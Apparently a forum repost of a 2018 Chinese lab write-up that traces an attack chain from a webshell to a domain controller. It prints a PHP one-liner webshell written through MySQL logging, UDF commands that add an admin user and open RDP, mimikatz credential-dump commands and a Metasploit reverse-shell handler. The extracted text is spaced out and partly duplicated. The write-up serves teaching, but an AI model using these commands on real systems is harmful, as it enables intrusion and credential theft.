搜索

[12759] 2018-05-28_漫谈攻击链：从WebShell到域控的奇妙之旅

文档创建者：s7ckTeam
浏览次数：36
最后更新：2025-01-18
2018-05-28_漫谈攻击链：从WebShell到域控的奇妙之旅 漫 谈 攻 击 链 ： 从 W e b S h e l l 到 域 控 的 奇 妙 之 旅 T i m e S 0 n g   F r e e B u f   2 0 1 8 - 0 5 - 2 8 严 正 声 明 ： 本 文 仅 限 于 技 术 讨 论 与 分 享 ， 严 禁 用 于 非 法 途 径 。 严 正 声 明 ： 本 文 仅 限 于 技 术 讨 论 与 分 享 ， 严 禁 用 于 非 法 途 径 。 0 x 0 0 .   引 言 引 言 做 渗 透 测 试 时 遇 到 的 域 环 境 经 常 就 是 要 么 太 复 杂 我 们 搞 不 定 ， 要 么 太 简 单 进 去 就 拿 到 域 控 没 啥 意 思 ， 这 些 显 然 做 渗 透 测 试 时 遇 到 的 域 环 境 经 常 就 是 要 么 太 复 杂 我 们 搞 不 定 ， 要 么 太 简 单 进 去 就 拿 到 域 控 没 啥 意 思 ， 这 些 显 然 都 无 法 满 足 我 们 实 践 已 掌 握 知 识 的 刚 需 。 同 时 为 了 给 我 们 道 格 安 全 技 术 小 组 的 小 伙 伴 们 搭 建 线 下 实 战 环 境 ， 笔 都 无 法 满 足 我 们 实 践 已 掌 握 知 识 的 刚 需 。 同 时 为 了 给 我 们 道 格 安 全 技 术 小 组 的 小 伙 伴 们 搭 建 线 下 实 战 环 境 ， 笔 者 索 性 自 己 搭 建 了 一 套 完 整 的 域 环 境 ， 通 过 实 战 时 遇 到 的 一 些 坑 来 配 备 合 适 的 漏 洞 ， 让 域 渗 透 不 再 神 秘 ， 也 大 者 索 性 自 己 搭 建 了 一 套 完 整 的 域 环 境 ， 通 过 实 战 时 遇 到 的 一 些 坑 来 配 备 合 适 的 漏 洞 ， 让 域 渗 透 不 再 神 秘 ， 也 大 大 增 加 我 们 对 知 识 的 理 解 程 度 ， 下 面 我 将 为 大 家 揭 露 从 大 增 加 我 们 对 知 识 的 理 解 程 度 ， 下 面 我 将 为 大 家 揭 露 从 w e b 到 域 控 的 奇 妙 旅 程 ！ 文 末 有 相 关 下 载 链 接 。 到 域 控 的 奇 妙 旅 程 ！ 文 末 有 相 关 下 载 链 接 。 0 x 0 1 .   渗 透 环 境 渗 透 环 境 此 次 域 环 境 不 是 特 别 复 杂 ， 但 是 却 包 含 了 大 部 分 渗 透 时 需 要 掌 握 的 知 识 ， 所 以 请 诸 位 放 心 食 用 。 我 们 的 入 口 只 有 一 个 w 2 k 3 搭 建 的 w e b 静 态 站 点 ， 我 利 用 防 火 墙 将 对 内 网 的 访 问 阻 挡 在 外 部 ， 但 是 将 1 . 1 . 1 . 2 1 的 8 0 端 口 映 射 到 防 火 墙 的 8 0 端 口 ， 所 以 我 们 只 有 通 过 w e b s h e l l 进 入 内 网 才 能 进 一 步 控 制 域 环 境 。 此 次 环 境 的 上 帝 视 角 如 下 ： 0 x 0 2 .   w e b 渗 透 渗 透 首 先 打 开 我 们 获 取 的 w e b 站 点 地 址 h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 6   可 以 看 到 这 是 一 个 纯 静 态 界 面 ， 一 般 遇 到 这 种 静 态 页 面 的 环 境 我 们 可 以 选 择 先 用 御 剑 扫 一 扫 目 录 或 者 用 f i e r c e 爆 破 子 域 名 ， 我 这 里 没 有 设 置 域 名 更 没 有 子 域 名 ， 所 以 我 就 直 接 用 御 剑 爆 破 目 录 了 ！
爆 破 出 来 的 目 录 比 较 全 ， 接 下 来 进 行 信 息 收 集 ， 看 看 能 获 取 到 什 么 有 用 的 信 息 ， 一 般 如 果 能 爆 破 出 r o b o t s . t x t 文 件 的 话 千 万 记 住 要 看 看 里 面 有 什 么 站 点 ， 一 般 我 们 可 以 从 那 里 面 收 集 比 较 多 实 用 的 信 息 。 通 过 逐 一 访 问 对 我 们 较 有 用 的 地 址 有 t e s t . p h p 、 p h p m y a d m i n /   其 他 地 址 基 本 都 是 静 态 或 者 用 不 了 。     在 t e s t . p h p 下 面 有 管 理 员 用 于 测 试 使 用 过 的 p h p i n f o ( ) ， 通 过 它 我 们 搜 集 到 网 站 的 根 目 录   G : / a p m / a p a c h e 2 / h t d o c s   还 有 A p a c h e 、 P H P 版 本 ， 操 作 系 统 等 一 系 列 对 我 们 后 续 渗 透 很 有 用 的 信 息 ， 这 里 记 得 打 开 文 本 记 录 一 下 。
进 入 p h p M y A d m i n 之 后 利 用 默 认 密 码 登 陆 不 上 去 ， 尝 试 使 用 p h p M y A d m i n 爆 破 工 具 进 行 弱 口 令 爆 破 ， 因 为 这 个 w e b 站 点 唯 一 可 以 供 我 们 控 制 的 就 只 有 p h p M y A d m i n / 这 一 个 页 面 了 ， 所 以 必 须 拿 下 ， 不 然 就 无 法 进 行 后 续 操 作 。   拿 到 账 号 密 码 之 后 直 接 登 陆 上 去 利 用   I N T O   O U T F I E L   写 免 杀 一 句 话 木 马 ， 记 住 一 定 要 指 定 正 确 的 w e b 根 目 录 。 但 是 运 行 的 s q l 语 句 却 被 — s e c u r e - f i l e - p r i v 拦 截 了 ， 这 个 默 认 配 置 让 我 们 无 法 通 过 s q l 写 文 件 ， 看 来 直 接 写 木 马 是 不 现 实 了 。
大 家 遇 到 问 题 一 定 要 记 住 谷 歌 谷 歌 再 谷 歌 ， 只 要 是 问 题 大 部 分 都 会 有 相 应 的 解 决 方 法 ， 这 里 也 不 例 外 ， 尽 管 不 能 直 接 写 文 件 ， 那 我 修 改 日 志 文 件 并 不 为 过 吧 ！ 我 们 利 用 s q l 语 句 启 动 日 志 记 录 ， 将 日 志 文 件 设 置 为 根 目 录 下 的 c o n f i g . p h p ， 利 用 日 志 记 录 将 一 句 话 写 进 去 ， 这 样 就 能 变 相 写 入 文 件 了 ！ 既 然 一 句 话 写 进 去 了 ， 此 时 直 接 用 菜 刀 连 ， 果 然 是 武 功 再 高 也 怕 菜 刀 ！ 连 上 去 之 后 先 看 看 我 们 当 前 账 号 拥 有 什 么 权 s e t   g l o b a l   g e n e r a l _ l o g = ' o n ' ; s e t   g l o b a l   g e n e r a l _ l o g _ f i l e = ' G : / a p m / a p a c h e 2 / h t d o c s / c o n f i g . p h p ' ; s e l e c t   " < ? p h p   ( $ _ = @ $ _ G E T [ a ] ) . @ $ _ ( $ _ P O S T [ ' c m d ' ] ) ;   ? > " ; s e t   g l o b a l   g e n e r a l _ l o g = o f f ;
限 ， 权 限 过 低 的 话 需 要 提 权 ！ 可 以 看 到 我 们 只 拿 到 了 域 成 员 D M E M B E R 中 的 主 机 普 通 用 户 账 号 t i m e s 0 n g ， 连 域 账 号 都 不 是 ， 太 l o w 啦 ！ u r l   =   h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 6 / c o n f i g . p h p ? a = a s s e r t   p o s t = c m d 0 x 0 3 .   数 据 库 提 权 数 据 库 提 权 既 然 如 此 我 选 择 使 用 数 据 库 u d f 提 权 ， 当 然 也 可 以 利 用 其 他 方 法 提 权 ， 这 里 随 意 发 挥 就 好 。 要 使 用 数 据 库 提 权 的 前 提 是 要 将 u d f . d l l 文 件 写 到 G : a p m M y s q l l i b p l u g i n 目 录 下 ， 还 要 有 一 个 可 供 外 部 连 接 的 数 据 库 账 号 。 写 文 件 s q l 语 句 不 行 ， 但 是 菜 刀 可 以 ， 这 解 决 了 第 一 个 问 题 ； 创 建 一 个 可 供 外 部 连 接 的 数 据 库 账 号 可 以 利 用 刚 才 拿 到 的 p h p M y A d i m i n 创 建 ， 所 有 问 题 都 迎 刃 而 解 ！ G R A N T   A L L   P R I V I L E G E S   O N   * . *   T O   ' t e s t ' @ ' % '   I D E N T I F I E D   B Y   ' m y s q l t o o r '   W I T H   G R A N T   O P T I O N ;   F L U S H   P R I V I L E G E S ;
  现 在 可 以 打 开 我 的 m y s q l 提 权 工 具 进 行 提 权 啦 ， 心 情 是 不 是 莫 名 的 好 ！ 首 先 创 建 一 个 c m d s h e l l 函 数 用 于 执 行 我 们 的 命 令 ， 然 后 就 可 以 创 建 管 理 员 账 号 密 码 啦 ， 这 里 我 创 建 了 一 个 t e s t 账 号 ； 同 时 打 开 靶 机 的 3 3 8 9 端 口 供 我 们 连 接 ！ C r e a t e   F u n c t i o n   c m d s h e l l   r e t u r n s   s t r i n g   s o n a m e   ' u d f . d l l ' ; s e l e c t   c m d s h e l l ( ' n e t   u s e r   t e s t   a d m i n @ 1 2 3   / a d d ' ) ; s e l e c t   c m d s h e l l ( ' n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   / a d d   t e s t ' ) ; d r o p   f u n c t i o n   c m d s h e l l ; C r e a t e   F u n c t i o n   o p e n 3 3 8 9   r e t u r n s   s t r i n g   s o n a m e   ' u d f . d l l ' ; s e l e c t   o p e n 3 3 8 9 ( ) ; d r o p   f u n c t i o n   o p e n 3 3 8 9 ;
0 x 0 4 .   建 立 隧 道 建 立 隧 道 虽 然 打 开 了 靶 机 的 3 3 8 9 端 口 ， 但 是 我 们 和 靶 机 之 间 依 旧 隔 着 一 堵 碍 眼 的 防 火 墙 ， 无 法 直 接 连 到 靶 机 的 3 3 8 9 上 面 去 。 不 过 没 关 系 ， 本 来 就 是 练 习 技 术 嘛 ， 所 以 接 下 来 我 将 利 用 e w 打 穿 一 条 s o c k s 5 隧 道 ！ 然 后 我 们 就 能 在 内 网 中 畅 通 无 阻 啦 ！ 不 过 在 这 之 前 我 们 还 是 需 要 先 利 用 菜 刀 将 e w 客 户 端 传 到 靶 机 上 面 去 ！
  0 x 0 5 .   密 码 窃 取 密 码 窃 取 我 们 此 时 已 经 以 管 理 员 身 份 登 陆 了 w 2 k 3 了 ， 那 么 接 下 来 可 以 上 传 一 个 m i m i k a t z 来 窃 取 w 2 k 3 上 的 账 号 密 码 。 下 图 所 示 是 用 m i m i k a t z 获 取 到 的 域 成 员 的 账 号 密 码 ， 同 时 还 获 取 到 本 地 管 理 员 a d m i n i s t r a t o r 的 密 码 A d m i n ! @ p r i v i l e g e : : d e b u g s e k u r l s a : : l o g o n p a s s w o r d s
拿 到 域 账 号 之 后 我 所 能 想 到 的 就 是 先 尽 一 切 所 能 获 取 域 相 关 的 所 有 信 息 ， 正 所 谓 知 己 知 彼 百 战 不 殆 。 越 是 对 域 信 息 有 足 够 的 了 解 ， 我 们 对 于 拿 下 域 控 的 把 握 就 会 越 多 ！ 上 面 是 我 使 用 域 账 号 w 2 k 3 登 陆 之 后 获 取 到 的 部 分 信 息 ， 可 以 看 到 我 们 当 前 的 主 机 名 为 D M E M B E R ， 我 们 属 于 p e n t e s t l a b 域 ， 域 下 面 还 有 两 台 主 机 ， 分 别 是 D M E M B E R 1 、 D C S E R V E R   ， 下 面 我 们 尝 试 使 用 I P C $ 入 侵 D M E M B E R 1 这 台 级 别 和 我 们 相 当 的 域 主 机 。 0 x 0 6 .   I P C $   入 侵 入 侵 这 里 其 实 我 们 可 以 直 接 使 用 m s 0 8 _ 0 6 7 拿 到 w i n x p 的 s h e l l ， 但 是 作 为 实 验 目 的 我 选 择 更 具 有 操 作 性 的 I P C $ 入 侵 ， 所 以 我 先 用 刚 才 获 取 的 a d m i n i s t r a t o r 账 号 登 陆 w 2 k 3 ， 然 后 与 D M E M B E R 1   建 立 空 连 接 ， 将 m s f 生 成 的 木 马 拷 贝 到 D M E M B E R 1 上 ， 利 用 a t   任 务 计 划 执 行 我 们 的 木 马 ， 于 是 我 们 就 能 获 取 到 一 个 来 自 D M E M B E R 1   的 反 弹 s h e l l .
现 在 我 们 需 要 做 的 就 是 在 m s f 上 启 动 监 听 ， 等 待 计 划 任 务 的 时 间 到 达 。 u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p s e t   l h o s t   1 9 2 . 1 6 8 . 1 . 1 1 1 r u n
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理